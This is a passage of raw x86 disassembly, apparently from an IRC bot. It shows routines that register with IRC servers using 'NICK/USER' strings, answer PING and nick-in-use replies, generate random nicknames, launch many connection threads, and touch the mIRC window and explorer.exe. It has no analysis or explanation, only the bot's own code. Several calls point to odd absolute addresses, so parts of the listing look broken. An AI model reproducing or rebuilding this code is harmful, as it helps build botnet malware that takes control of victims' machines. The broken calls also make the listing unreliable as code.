call near ptr 27C0A3Ah push eax call near ptr 27C0000h nop and [ebp+var_C], 0 mov [ebp+var_14], eax mov ebx, offset dword_4D3C90 mov edi, 200h mov esi, offset dword_4D3290 loc_41762F: ; CODE XREF: sub_4175E9+FAj mov eax, dword_4D46A8 add eax, eax push eax push dword_4D46B0 push [ebp+var_14] call sub_41C310 add esp, 0Ch lea eax, [ebp+var_18] push eax push [ebp+var_C] call dword_4D4494 mov eax, dword_4D46A8 and [ebp+var_10], 0 mov ecx, [ebp+var_14] mov [ebp+var_8], 1 test eax, eax jbe short loc_4176A4 loc_41766C: ; CODE XREF: sub_4175E9+B3j cmp [ebp+var_8], 0 jz short loc_4176C1 mov dl, [ecx] test dl, dl mov [ebp+var_1], dl jz short loc_417690 cmp byte ptr [ecx+1], 0 jnz short loc_417690 cmp dl, 20h jnb short loc_41768A and [ebp+var_8], 0 loc_41768A: ; CODE XREF: sub_4175E9+9Bj cmp [ebp+var_1], 7Eh jbe short loc_417694 loc_417690: ; CODE XREF: sub_4175E9+90j ; sub_4175E9+96j and [ebp+var_8], 0 loc_417694: ; CODE XREF: sub_4175E9+A5j inc ecx inc ecx inc [ebp+var_10] cmp [ebp+var_10], eax jb short loc_41766C cmp [ebp+var_8], 0 jz short loc_4176C1 loc_4176A4: ; CODE XREF: sub_4175E9+81j push [ebp+var_14] push offset dword_4D3490 push ebx push [ebp+arg_0] push offset dword_43820C push edi push esi call sub_41B980 add esp, 1Ch jmp short loc_4176D9 ; --------------------------------------------------------------------------- loc_4176C1: ; CODE XREF: sub_4175E9+87j ; sub_4175E9+B9j push offset dword_4D3490 push ebx push [ebp+arg_0] push offset dword_43825C push edi push esi call sub_41B980 add esp, 18h loc_4176D9: ; CODE XREF: sub_4175E9+D6j inc [ebp+var_C] cmp [ebp+var_C], 0FFh jbe loc_41762F push [ebp+var_14] push 0 nop call near ptr 27C0A3Ah push eax nop call near ptr 27B0000h mov eax, esi pop edi pop esi pop ebx leave retn sub_4175E9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417702 proc near ; CODE XREF: sub_4178BA+2Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CB6A4 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_41777E push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB624 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CB664 cmp eax, esi jnz short loc_417763 push [ebp+arg_0] call dword_4CB6A8 test eax, eax jz short loc_41777E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_417763: ; CODE XREF: sub_417702+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB5CC cmp eax, esi jnz short loc_417782 push edi call dword_4CB6BC loc_41777E: ; CODE XREF: sub_417702+1Bj ; sub_417702+58j mov eax, esi jmp short loc_417784 ; --------------------------------------------------------------------------- loc_417782: ; CODE XREF: sub_417702+73j mov eax, edi loc_417784: ; CODE XREF: sub_417702+7Ej pop edi pop esi leave retn sub_417702 endp ; =============== S U B R O U T I N E ======================================= sub_417788 proc near ; CODE XREF: sub_401ACD+3294p ; sub_401ACD+3300p ... arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] push offset asc_42A068 ; "\n" push edi call sub_41BEC0 pop ecx mov esi, offset dword_4D46BC pop ecx loc_4177A0: ; CODE XREF: sub_417788+42j cmp dword ptr [esi-4], 1 jnz short loc_4177BE cmp dword ptr [esi], 0 jbe short loc_4177BE push 0 push edi call sub_41AFE0 pop ecx push eax push edi push dword ptr [esi] call dword_4CB674 loc_4177BE: ; CODE XREF: sub_417788+1Cj ; sub_417788+21j add esi, 210h cmp esi, offset dword_4DADDC jl short loc_4177A0 pop edi pop esi retn sub_417788 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4177CF proc near ; CODE XREF: sub_4178BA+155p var_420 = byte ptr -420h var_220 = byte ptr -220h var_20 = dword ptr -20h var_1C = dword ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 420h push ebx push esi mov esi, offset asc_42D0F0 ; " " push edi push esi push [ebp+arg_0] call sub_41C0F4 pop ecx mov [ebp+var_20], eax pop ecx lea edi, [ebp+var_1C] push 7 pop ebx loc_4177F4: ; CODE XREF: sub_4177CF+35j push esi push 0 call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec ebx pop ecx jnz short loc_4177F4 mov esi, [ebp+var_1C] xor edi, edi cmp [ebp+var_20], edi jnz short loc_41781C cmp esi, edi jnz short loc_41781C push 1 pop eax jmp loc_4178B5 ; --------------------------------------------------------------------------- loc_41781C: ; CODE XREF: sub_4177CF+3Fj ; sub_4177CF+43j push [ebp+var_20] push offset aPing ; "PING" call sub_41C070 pop ecx pop ecx test eax, eax push esi jnz short loc_417837 push offset dword_438E70 jmp short loc_417885 ; --------------------------------------------------------------------------- loc_417837: ; CODE XREF: sub_4177CF+5Fj push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_417858 push esi push offset dword_438E6C call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4178B3 loc_417858: ; CODE XREF: sub_4177CF+76j push 200h lea eax, [ebp+var_420] push edi push eax call sub_41B590 lea eax, [ebp+var_420] push eax call sub_417ADD add esp, 10h lea eax, [ebp+var_420] push eax push offset dword_438E60 loc_417885: ; CODE XREF: sub_4177CF+66j lea eax, [ebp+var_220] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_220] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_220] push eax push [ebp+arg_4] call dword_4CB674 loc_4178B3: ; CODE XREF: sub_4177CF+87j xor eax, eax loc_4178B5: ; CODE XREF: sub_4177CF+48j pop edi pop esi pop ebx leave retn sub_4177CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4178BA proc near ; DATA XREF: sub_417A5F+61o var_4008 = byte ptr -4008h var_3008 = byte ptr -3008h var_2008 = byte ptr -2008h var_1008 = byte ptr -1008h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 4008h call sub_41BB20 push ebx push esi mov esi, [ebp+arg_0] push edi imul esi, 210h push 1 pop edi lea eax, dword_4D46C4[esi] mov dword_4D46B8[esi], edi push dword_4D48C4[esi] push eax call sub_417702 pop ecx xor ebx, ebx cmp eax, edi pop ecx mov dword_4D46BC[esi], eax jb loc_417A3F mov edi, 1000h lea eax, [ebp+var_2008] push edi push ebx push eax call sub_41B590 lea eax, [ebp+var_2008] push eax call sub_417ADD lea eax, [ebp+var_4008] push eax call sub_417ADD lea eax, [ebp+var_3008] push eax call sub_417ADD add esp, 18h lea eax, [ebp+var_3008] push eax lea eax, [ebp+var_4008] push eax lea eax, [ebp+var_2008] push eax lea eax, [ebp+var_1008] push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."... push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_1008] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1008] push eax push dword_4D46BC[esi] call dword_4CB674 push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch loc_417996: ; CODE XREF: sub_4178BA+111j ; sub_4178BA+180j push edi lea eax, [ebp+var_1008] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1008] push ebx push edi push eax push dword_4D46BC[esi] call dword_4CB63C cmp eax, ebx mov [ebp+var_8], eax jle short loc_417A3F xor eax, eax cmp [ebp+var_8], ebx mov [ebp+var_4], eax jz short loc_417996 loc_4179CD: ; CODE XREF: sub_4178BA+17Ej mov al, [ebp+eax+var_1008] cmp al, 0Dh jz short loc_4179F4 cmp al, 0Ah jz short loc_4179F4 cmp [ebp+arg_0], 0FA0h jz short loc_4179F4 mov ecx, [ebp+arg_0] inc [ebp+arg_0] mov [ebp+ecx+var_2008], al jmp short loc_417A2E ; --------------------------------------------------------------------------- loc_4179F4: ; CODE XREF: sub_4178BA+11Cj ; sub_4178BA+120j ... mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_417A2E push dword_4D46BC[esi] mov [ebp+eax+var_2008], bl lea eax, [ebp+var_2008] push eax call sub_4177CF pop ecx test eax, eax pop ecx ja short loc_417A3F push edi lea eax, [ebp+var_2008] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+arg_0], ebx loc_417A2E: ; CODE XREF: sub_4178BA+138j ; sub_4178BA+13Fj mov eax, [ebp+var_4] inc eax cmp eax, [ebp+var_8] mov [ebp+var_4], eax jnz short loc_4179CD jmp loc_417996 ; --------------------------------------------------------------------------- loc_417A3F: ; CODE XREF: sub_4178BA+40j ; sub_4178BA+107j ... mov dword_4D46B8[esi], ebx mov esi, dword_4D46BC[esi] cmp esi, ebx jbe short loc_417A56 push esi call dword_4CB6BC loc_417A56: ; CODE XREF: sub_4178BA+193j pop edi pop esi xor eax, eax pop ebx leave retn 4 sub_4178BA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417A5F proc near ; CODE XREF: sub_401ACD+31E1p var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp [ebp+arg_8], ebx push esi push edi mov [ebp+var_4], ebx jle short loc_417AD8 loc_417A71: ; CODE XREF: sub_417A5F+77j xor edi, edi mov eax, offset dword_4D46B8 loc_417A78: ; CODE XREF: sub_417A5F+28j cmp [eax], ebx jz short loc_417A89 add eax, 210h inc edi cmp eax, offset dword_4DADD8 jl short loc_417A78 loc_417A89: ; CODE XREF: sub_417A5F+1Bj cmp edi, 31h jz short loc_417AD8 mov esi, edi push [ebp+arg_0] imul esi, 210h lea eax, dword_4D46C4[esi] push eax call sub_41BEB0 mov eax, [ebp+arg_4] pop ecx mov dword_4D48C4[esi], eax pop ecx lea eax, [ebp+var_8] mov dword_4D46B8[esi], 1 push eax push ebx push edi push offset sub_4178BA push ebx push ebx call near ptr 2680098h nop inc [ebp+var_4] mov eax, [ebp+var_4] cmp eax, [ebp+arg_8] jl short loc_417A71 loc_417AD8: ; CODE XREF: sub_417A5F+10j ; sub_417A5F+2Dj pop edi pop esi pop ebx leave retn sub_417A5F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417ADD proc near ; CODE XREF: sub_401ACD+374Dp ; sub_401ACD+3793p ... var_40 = byte ptr -40h var_2D = byte ptr -2Dh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_18 = qword ptr -18h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 40h push 14h lea eax, [ebp+var_2C] push 0 push eax call sub_41B590 add esp, 0Ch call sub_41B8E2 mov [ebp+var_C], eax fild [ebp+var_C] fmul dbl_4276F8 call sub_41C798 cmp eax, 1 jnz short loc_417B27 call sub_41B8E2 call sub_41B8E2 push 66h cdq pop ecx idiv ecx push off_4385B0[edx*4] jmp short loc_417B40 ; --------------------------------------------------------------------------- loc_417B27: ; CODE XREF: sub_417ADD+2Fj call sub_41B8E2 call sub_41B8E2 cdq mov ecx, 0C0h idiv ecx push off_4382B0[edx*4] loc_417B40: ; CODE XREF: sub_417ADD+48j lea eax, [ebp+var_2C] push eax call sub_41BEB0 pop ecx lea eax, [ebp+var_2C] pop ecx push ebx push esi push edi push eax call sub_41AFE0 pop ecx mov esi, eax push 13h mov [ebp+var_4], esi pop eax sub eax, esi mov [ebp+var_C], eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 call sub_41C798 mov ebx, eax call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp esi, 2 mov edi, offset a__0 ; "-|`_\\{[]}" jle short loc_417BB3 cmp esi, 3 jnz short loc_417BAA cmp ebx, 1 jz short loc_417BB3 loc_417BAA: ; CODE XREF: sub_417ADD+C6j cmp eax, 1 jnz loc_417C6D loc_417BB3: ; CODE XREF: sub_417ADD+C1j ; sub_417ADD+CBj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276E0 call sub_41C798 push off_4385B0[eax*4] lea eax, [ebp+var_40] push eax call sub_41BEB0 movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax push edi call sub_41BFB0 add esp, 10h test eax, eax jnz short loc_417C5A movsx eax, [ebp+var_40] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz short loc_417C5A call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax dec esi fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], esi fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417C5A push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-8] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-8] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al loc_417C5A: ; CODE XREF: sub_417ADD+111j ; sub_417ADD+122j ... push [ebp+var_C] lea eax, [ebp+var_40] push eax lea eax, [ebp+var_2C] push eax call sub_41C1E0 add esp, 0Ch loc_417C6D: ; CODE XREF: sub_417ADD+D0j lea eax, [ebp+var_2C] push eax call sub_41AFE0 mov esi, eax movsx eax, [ebp+esi+var_2D] lea ebx, [ebp+esi+var_2C] push eax mov [ebp+var_4], esi call sub_41D648 pop ecx test eax, eax pop ecx jnz loc_417ED5 and [ebp+var_C], eax movsx eax, byte ptr [ebx-1] push eax push edi call sub_41BFB0 pop ecx test eax, eax pop ecx jnz loc_417DCC call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax lea eax, [esi+3] fild dword ptr [ebp+var_18+4] mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 call sub_41C798 cmp esi, 3 jz short loc_417CDB cmp eax, 1 jnz loc_417DCC loc_417CDB: ; CODE XREF: sub_417ADD+1F3j push 2 cdq pop ecx idiv ecx cmp edx, 1 jnz short loc_417D1D push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebx], al jmp short loc_417D39 ; --------------------------------------------------------------------------- loc_417D1D: ; CODE XREF: sub_417ADD+207j call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebx], cl loc_417D39: ; CODE XREF: sub_417ADD+23Ej push 1 inc esi pop ebx mov [ebp+var_4], esi mov [ebp+var_C], ebx call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D0 call sub_41C798 cmp esi, 3 jz short loc_417D62 cmp eax, ebx jnz short loc_417DCC loc_417D62: ; CODE XREF: sub_417ADD+27Fj push 2 pop ebx cdq mov ecx, ebx idiv ecx test edx, edx jnz short loc_417DA7 push edi call sub_41AFE0 and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] pop ecx fstp qword ptr [ebp-10h] call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul qword ptr [ebp-10h] fmul dbl_4276E8 call sub_41C798 mov al, byte ptr a__0[eax] ; "-|`_\\{[]}" mov [ebp+esi+var_2C], al jmp short loc_417DC5 ; --------------------------------------------------------------------------- loc_417DA7: ; CODE XREF: sub_417ADD+28Fj call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h sub cl, al mov [ebp+esi+var_2C], cl loc_417DC5: ; CODE XREF: sub_417ADD+2C8j inc esi mov [ebp+var_C], ebx mov [ebp+var_4], esi loc_417DCC: ; CODE XREF: sub_417ADD+1C9j ; sub_417ADD+1F8j ... cmp esi, 6 jge loc_417E55 cmp esi, 5 jge short loc_417DED call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276F0 jmp short loc_417E0B ; --------------------------------------------------------------------------- loc_417DED: ; CODE XREF: sub_417ADD+2FBj call sub_41B8E2 push 8 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] pop eax sub eax, esi mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmulp st(1), st fmul dbl_4276E8 loc_417E0B: ; CODE XREF: sub_417ADD+30Ej call sub_41C798 test eax, eax jnz short loc_417E2E call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h jmp short loc_417E4B ; --------------------------------------------------------------------------- loc_417E2E: ; CODE XREF: sub_417ADD+335j cmp eax, 1 jnz short loc_417E55 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276D8 call sub_41C798 mov cl, 41h loc_417E4B: ; CODE XREF: sub_417ADD+34Fj sub cl, al mov [ebp+esi+var_2C], cl inc esi mov [ebp+var_4], esi loc_417E55: ; CODE XREF: sub_417ADD+2F2j ; sub_417ADD+354j cmp [ebp+var_C], 2 jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fimul [ebp+var_4] fmul dbl_4276E8 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2C], cl call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276C0 call sub_41C798 cmp eax, 1 jnz short loc_417ED5 cmp [ebp+var_C], eax jge short loc_417ED5 call sub_41B8E2 mov dword ptr [ebp+var_18+4], eax fild dword ptr [ebp+var_18+4] fmul dbl_4276B8 call sub_41C798 mov cl, 30h sub cl, al mov [ebp+esi+var_2B], cl loc_417ED5: ; CODE XREF: sub_417ADD+1B1j ; sub_417ADD+37Cj ... lea eax, [ebp+var_2C] push 14h push eax push [ebp+arg_0] call sub_41B5F0 mov eax, [ebp+arg_0] add esp, 0Ch pop edi pop esi pop ebx leave retn sub_417ADD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EEE proc near ; CODE XREF: sub_401ACD+BEBp ; sub_401ACD+C28p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] xor esi, esi cmp edi, esi jz short loc_417F79 mov eax, [ebp+arg_4] cmp eax, esi jz short loc_417F79 cmp [ebp+arg_8], esi jz short loc_417F79 cmp byte ptr [eax], 0 jz short loc_417F79 push ebx push edi call sub_426464 mov ebx, eax pop ecx test ebx, ebx jz short loc_417F74 push [ebp+arg_4] push edi call sub_41B900 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_417F6D sub eax, edi push eax push edi push ebx call sub_41B5F0 push [ebp+arg_8] mov eax, ebx sub eax, edi and byte ptr [eax+esi], 0 call sub_41AFE0 push eax push [ebp+arg_8] push ebx call sub_41C1E0 push [ebp+arg_4] call sub_41AFE0 add eax, esi push eax push ebx call sub_41BEC0 push ebx push edi call sub_41BEB0 add esp, 30h mov esi, edi loc_417F6D: ; CODE XREF: sub_417EEE+3Cj push ebx call sub_41B0B1 pop ecx loc_417F74: ; CODE XREF: sub_417EEE+2Bj mov eax, esi pop ebx jmp short loc_417F7B ; --------------------------------------------------------------------------- loc_417F79: ; CODE XREF: sub_417EEE+Cj ; sub_417EEE+13j ... xor eax, eax loc_417F7B: ; CODE XREF: sub_417EEE+89j pop edi pop esi pop ebp retn sub_417EEE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F7F proc near ; CODE XREF: sub_401955+E9p ; ___:004102F0p var_7D0 = dword ptr -7D0h var_7CC = byte ptr -7CCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7D0h push ebx push esi push 7D0h lea eax, [ebp+var_7D0] push 0 push eax call sub_41B590 mov esi, [ebp+arg_0] push esi call sub_41AFE0 add esp, 10h push 1 pop ebx cmp eax, ebx jge short loc_417FB5 or eax, 0FFFFFFFFh jmp short loc_418028 ; --------------------------------------------------------------------------- loc_417FB5: ; CODE XREF: sub_417F7F+2Fj xor ecx, ecx mov [ebp+var_7D0], esi test eax, eax jle short loc_417FD7 loc_417FC1: ; CODE XREF: sub_417F7F+56j mov dl, [ecx+esi] cmp dl, 0Ah jz short loc_417FCE cmp dl, 0Dh jnz short loc_417FD2 loc_417FCE: ; CODE XREF: sub_417F7F+48j and byte ptr [ecx+esi], 0 loc_417FD2: ; CODE XREF: sub_417F7F+4Dj inc ecx cmp ecx, eax jl short loc_417FC1 loc_417FD7: ; CODE XREF: sub_417F7F+40j xor edx, edx push edi test eax, eax jle short loc_418008 lea edi, [ebp+var_7CC] loc_417FE4: ; CODE XREF: sub_417F7F+87j cmp byte ptr [edx+esi], 0 jnz short loc_418003 cmp byte ptr [edx+esi+1], 0 lea ecx, [edx+esi+1] jz short loc_418003 cmp ebx, 1F4h jge short loc_418008 mov [edi], ecx inc ebx add edi, 4 loc_418003: ; CODE XREF: sub_417F7F+69j ; sub_417F7F+74j inc edx cmp edx, eax jl short loc_417FE4 loc_418008: ; CODE XREF: sub_417F7F+5Dj ; sub_417F7F+7Cj cmp [ebp+arg_4], 0 pop edi jz short loc_418026 lea eax, [ebp+var_7D0] push 7D0h push eax push [ebp+arg_4] call sub_41C310 add esp, 0Ch loc_418026: ; CODE XREF: sub_417F7F+8Ej mov eax, ebx loc_418028: ; CODE XREF: sub_417F7F+34j pop esi pop ebx leave retn sub_417F7F endp ; =============== S U B R O U T I N E ======================================= sub_41802C proc near ; CODE XREF: sub_418086+33p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi push edi mov edi, [esp+8+arg_8] mov ecx, 1F4h xor esi, esi rep stosd lea edi, [eax-1] test edi, edi jl short loc_418065 push ebx mov ebx, edi loc_418049: ; CODE XREF: sub_41802C+36j mov eax, [esp+0Ch+arg_0] mov al, [esi+eax] push eax call sub_418068 pop ecx inc esi mov ecx, [esp+0Ch+arg_8] mov [ecx+eax*4], ebx dec ebx cmp esi, edi jle short loc_418049 pop ebx loc_418065: ; CODE XREF: sub_41802C+18j pop edi pop esi retn sub_41802C endp ; =============== S U B R O U T I N E ======================================= sub_418068 proc near ; CODE XREF: sub_41802C+25p ; sub_418086+6Bp arg_0 = byte ptr 4 movsx eax, [esp+arg_0] push eax call sub_41D74C cmp al, 61h pop ecx jl short loc_418083 cmp al, 7Ah jg short loc_418083 movsx eax, al sub eax, 60h retn ; --------------------------------------------------------------------------- loc_418083: ; CODE XREF: sub_418068+Ej ; sub_418068+12j xor eax, eax retn sub_418068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418086 proc near ; CODE XREF: ___:0041532Dp var_100C = dword ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_41BB20 push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 push [ebp+arg_4] mov [ebp+var_4], eax call sub_41AFE0 mov esi, eax lea eax, [ebp+var_100C] push eax push esi push [ebp+arg_4] mov [ebp+var_C], esi call sub_41802C add esp, 14h dec esi mov edi, esi loc_4180C4: ; CODE XREF: sub_418086+B6j test esi, esi jle short loc_418142 mov eax, [ebp+arg_4] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov ebx, eax mov eax, [ebp+arg_0] movsx eax, byte ptr [edi+eax] push eax call sub_41D74C pop ecx cmp eax, ebx pop ecx jz short loc_41813A loc_4180EA: ; CODE XREF: sub_418086+B2j mov ebx, [ebp+arg_0] mov al, [edi+ebx] push eax call sub_418068 mov edx, [ebp+var_C] mov eax, [ebp+eax*4+var_100C] pop ecx mov ecx, edx sub ecx, esi cmp ecx, eax jle short loc_41810B mov eax, ecx loc_41810B: ; CODE XREF: sub_418086+81j add edi, eax cmp edi, [ebp+var_4] jge short loc_41813E mov eax, [ebp+arg_4] lea esi, [edx-1] movsx eax, byte ptr [esi+eax] push eax call sub_41D74C mov edx, eax movsx eax, byte ptr [edi+ebx] push eax mov [ebp+var_8], edx call sub_41D74C pop ecx pop ecx mov ecx, [ebp+var_8] cmp eax, ecx jnz short loc_4180EA loc_41813A: ; CODE XREF: sub_418086+62j dec edi dec esi jmp short loc_4180C4 ; --------------------------------------------------------------------------- loc_41813E: ; CODE XREF: sub_418086+8Aj xor eax, eax jmp short loc_418147 ; --------------------------------------------------------------------------- loc_418142: ; CODE XREF: sub_418086+40j mov eax, [ebp+arg_0] add eax, edi loc_418147: ; CODE XREF: sub_418086+BAj pop edi pop esi pop ebx leave retn sub_418086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41814C proc near ; CODE XREF: sub_401ACD+67A3p ; sub_401ACD+789Ep var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 100h push esi nop call near ptr 268082Fh mov esi, eax push 0 lea eax, [ebp+var_100] push 100h push eax push 400h push esi push 0 push 1200h nop call near ptr 27E0000h lea eax, [ebp+var_100] loc_418185: ; CODE XREF: sub_41814C+46j mov cl, [eax] cmp cl, 1Fh jg short loc_418191 cmp cl, 9 jnz short loc_418194 loc_418191: ; CODE XREF: sub_41814C+3Ej inc eax jmp short loc_418185 ; --------------------------------------------------------------------------- loc_418194: ; CODE XREF: sub_41814C+43j ; sub_41814C+5Bj ... and byte ptr [eax], 0 dec eax lea ecx, [ebp+var_100] cmp eax, ecx jb short loc_4181AE mov cl, [eax] cmp cl, 2Eh jz short loc_418194 cmp cl, 21h jl short loc_418194 loc_4181AE: ; CODE XREF: sub_41814C+54j lea eax, [ebp+var_100] push esi push eax mov esi, offset dword_4DADDC push [ebp+arg_0] push offset aSErrorSD_ ; "%s Error: %s <%d>." push 200h push esi call sub_41B980 add esp, 18h mov eax, esi pop esi leave retn sub_41814C endp ; =============== S U B R O U T I N E ======================================= sub_4181D6 proc near ; CODE XREF: sub_401ACD+24CAp push esi push 0 call dword_4CB5F4 test eax, eax jz short loc_41820D push 1 call dword_4CB614 mov esi, eax test esi, esi jz short loc_41820D push edi push esi nop call near ptr 27F0616h push esi mov edi, eax nop call near ptr 27F0000h call dword_4CB678 mov eax, edi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_41820D: ; CODE XREF: sub_4181D6+Bj ; sub_4181D6+19j xor eax, eax pop esi retn sub_4181D6 endp ; =============== S U B R O U T I N E ======================================= sub_418211 proc near ; CODE XREF: sub_401ACD+7661p arg_0 = dword ptr 4 push ebp push esi push edi xor esi, esi mov edi, offset aMirc_0 ; "mIRC" push esi push edi call dword_4CB630 mov ebp, eax cmp ebp, esi jz short loc_41828D push ebx push edi push 1000h push esi push 4 push esi push 0FFFFFFFFh nop call near ptr 280023Fh push esi push esi mov edi, eax push esi push 0F001Fh push edi call near ptr 2800000h nop push [esp+10h+arg_0] mov ebx, eax push ebx call sub_41B886 pop ecx pop ecx push esi push 1 push 4C8h push ebp call dword_4CB680 push esi push 1 push 4C9h push ebp call dword_4CB680 push ebx nop call near ptr 27F0B6Fh push edi nop call near ptr 2660843h push 1 pop eax pop ebx jmp short loc_41828F ; --------------------------------------------------------------------------- loc_41828D: ; CODE XREF: sub_418211+16j xor eax, eax loc_41828F: ; CODE XREF: sub_418211+7Aj pop edi pop esi pop ebp retn sub_418211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418293 proc near ; CODE XREF: ___:00401433p var_11C = byte ptr -11Ch var_18 = byte ptr -18h var_10 = byte ptr -10h var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch push ebx push esi xor esi, esi push edi lea eax, [ebp+var_11C] push esi push eax push 104h push esi push offset aExplorer_exe ; "explorer.exe" push esi call dword_4CB6E0 test eax, eax jz short loc_418332 mov edi, 80h push esi push edi push 3 push esi mov esi, dword_4270EC push 1 lea eax, [ebp+var_11C] push 80000000h push eax call esi mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_418332 lea eax, [ebp+var_18] push eax lea eax, [ebp+var_8] push eax lea eax, 